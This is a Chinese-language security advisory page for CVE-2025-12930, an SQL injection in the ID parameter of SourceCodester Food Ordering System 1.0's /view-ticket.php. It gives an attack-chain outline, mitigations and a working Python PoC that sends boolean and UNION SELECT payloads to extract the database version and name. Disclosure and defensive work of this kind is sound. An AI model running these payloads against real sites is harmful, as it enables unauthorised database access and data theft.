IPBUF安全漏洞报告
English
CVE-2025-12930 CVSS 6.3 中危

CVE-2025-12930 SourceCodester Food Ordering System 1.0 SQL注入漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-12930
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Food Ordering System 1.0

相关标签

SQL注入CVE-2025-12930SourceCodesterFood Ordering SystemWeb应用安全数据库注入view-ticket.php认证绕过中等严重

漏洞概述

CVE-2025-12930是SourceCodester Food Ordering System 1.0版本中的一个SQL注入漏洞。该漏洞存在于/view-ticket.php文件中,由于对ID参数的用户输入未进行充分的过滤和验证,攻击者可以通过构造恶意的SQL语句实现数据库注入攻击。此漏洞的CVSS评分为6.3,属于中等严重程度,攻击向量为网络,认证要求为低权限,无需用户交互即可发起攻击。攻击成功后可能导致敏感数据泄露、数据库内容篡改或系统可用性受影响。公开渠道已有该漏洞的利用代码披露,攻击者可能在实际环境中利用此漏洞进行恶意活动。建议受影响的用户尽快采取防护措施或升级到安全版本。

技术细节

该漏洞位于SourceCodester Food Ordering System 1.0的/view-ticket.php文件中的未知函数。通过操纵文件参数ID,攻击者可以注入任意SQL语句。漏洞的根本原因在于应用程序未对用户输入进行参数化查询或适当的输入验证。攻击者可以通过HTTP请求发送包含SQL注入payload的ID参数,例如使用UNION SELECT、布尔盲注或时间盲注等技术来提取数据库信息。由于该漏洞可通过网络远程利用,且只需低权限认证,因此具有较高的实际威胁性。攻击者可能利用此漏洞获取数据库中的用户凭据、订单信息、支付数据或其他敏感信息。

攻击链分析

STEP 1
1
侦察阶段:攻击者识别目标系统为SourceCodester Food Ordering System 1.0,确认/view-ticket.php文件存在
STEP 2
2
漏洞识别:分析/view-ticket.php文件,发现ID参数存在SQL注入漏洞,未进行输入验证
STEP 3
3
Payload构造:构造包含SQL注入payload的HTTP请求,如使用UNION SELECT或盲注技术
STEP 4
4
数据提取:通过SQL注入获取数据库中的敏感信息,如用户表、订单数据等
STEP 5
5
权限提升或横向移动:利用获取的凭据进行进一步攻击或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12930 SQL Injection PoC # Target: SourceCodester Food Ordering System 1.0 # File: /view-ticket.php # Parameter: ID def exploit_sqli(url, payload): """Send SQL injection payload to vulnerable endpoint""" target_url = f"{url}/view-ticket.php" params = {'ID': payload} try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def test_basic_sqli(url): """Test basic SQL injection vulnerability""" # Basic error-based SQL injection test payload = "1' OR '1'='1" print(f"[*] Testing basic SQL injection with payload: {payload}") result = exploit_sqli(url, payload) if result: print("[+] Basic SQL injection test completed") return result def extract_database_version(url): """Extract database version using UNION-based injection""" payload = "1' UNION SELECT NULL,version(),NULL-- -" print(f"[*] Extracting database version...") result = exploit_sqli(url, payload) if result and '5.' in result: print("[+] Database version extracted successfully") return result def extract_database_name(url): """Extract database name""" payload = "1' UNION SELECT NULL,database(),NULL-- -" print(f"[*] Extracting database name...") return exploit_sqli(url, payload) if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/food-ordering-system") sys.exit(1) target_url = sys.argv[1].rstrip('/') print(f"[*] Target: {target_url}") print(f"[*] CVE-2025-12930 SQL Injection PoC\n") # Run tests test_basic_sqli(target_url) extract_database_version(target_url) extract_database_name(target_url) print("\n[*] PoC execution completed")

影响范围

SourceCodester Food Ordering System 1.0

防御指南

临时缓解措施
在官方修复方案发布前,可采取以下临时缓解措施:1) 在Web应用防火墙中配置规则拦截包含SQL关键字的请求;2) 对/view-ticket.php文件的ID参数进行严格的输入验证;3) 限制数据库账户权限,避免Web应用账户具有DML和DDL权限;4) 启用数据库审计日志,监控异常查询行为;5) 考虑临时禁用受影响的功能模块,待官方修复后再启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表